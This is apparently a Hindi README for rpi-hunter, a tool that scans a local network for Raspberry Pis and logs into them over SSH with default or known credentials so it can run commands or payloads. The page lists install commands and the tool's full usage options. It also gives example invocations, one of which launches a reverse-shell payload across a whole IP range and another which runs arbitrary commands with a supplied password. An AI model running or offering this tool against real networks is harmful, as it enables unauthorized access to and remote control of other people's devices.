
LAN पर रास्पबेरी पाई का स्वचालित खोज और शोषण

Rpi-hunter तब उपयोगी होता है जब आपके LAN पर डिफ़ॉल्ट या ज्ञात क्रेडेंशियल्स वाले कई Raspberry Pi हों, ताकि उन पर कमांड/पेलोड भेजने का काम स्वचालित किया जा सके।
sudo pip install -U argparse termcolor और sudo apt -y install arp-scan tshark sshpassgit clone https://github.com/BusesCanFly/rpi-huntercd ./rpi-hunterchmod +x rpi-hunter.pysudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.pyNullByte टीम द्वारा बनाया गया यह शानदार वीडियो और संबंधित लेख देखें!
./rpi-hunter.py चलाने से स्वचालित रूप से आपके पूरे स्थानीय नेटवर्क को स्कैन किया जाएगा और मिलने वाले किसी भी Raspberry Pi पर whoami कमांड चलाया जाएगा।usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
[-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
[--safe] [-q]
optional arguments:
-h, --help show this help message and exit
--list List available payloads
--no-scan Disable ARP scanning
-r IP_RANGE IP range to scan
-f IP_LIST IP list to use (Default ./scan/RPI_list)
-u UNAME Username to use when ssh'ing
-c CREDS Password to use when ssh'ing
--payload PAYLOAD (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
-H HOST (If using reverse_shell payload) Host for reverse shell
-P PORT (If using reverse_shell payload) Port for reverse shell
--safe Print sshpass command, but don't execute it
-q Don't print banner
उपलब्ध पेलोड देखने के लिए ./rpi-hunter.py --list चलाएँ।
पेलोड को --list से पेलोड नाम या रॉ इनपुट के रूप में निर्दिष्ट किया जा सकता है।
--payload reverse_shell या --payload [your cli command here]उपयोग का उदाहरण:
./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
-H और -P फ्लैग आवश्यक हैं।./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
\ से एस्केप करना सुनिश्चित करें।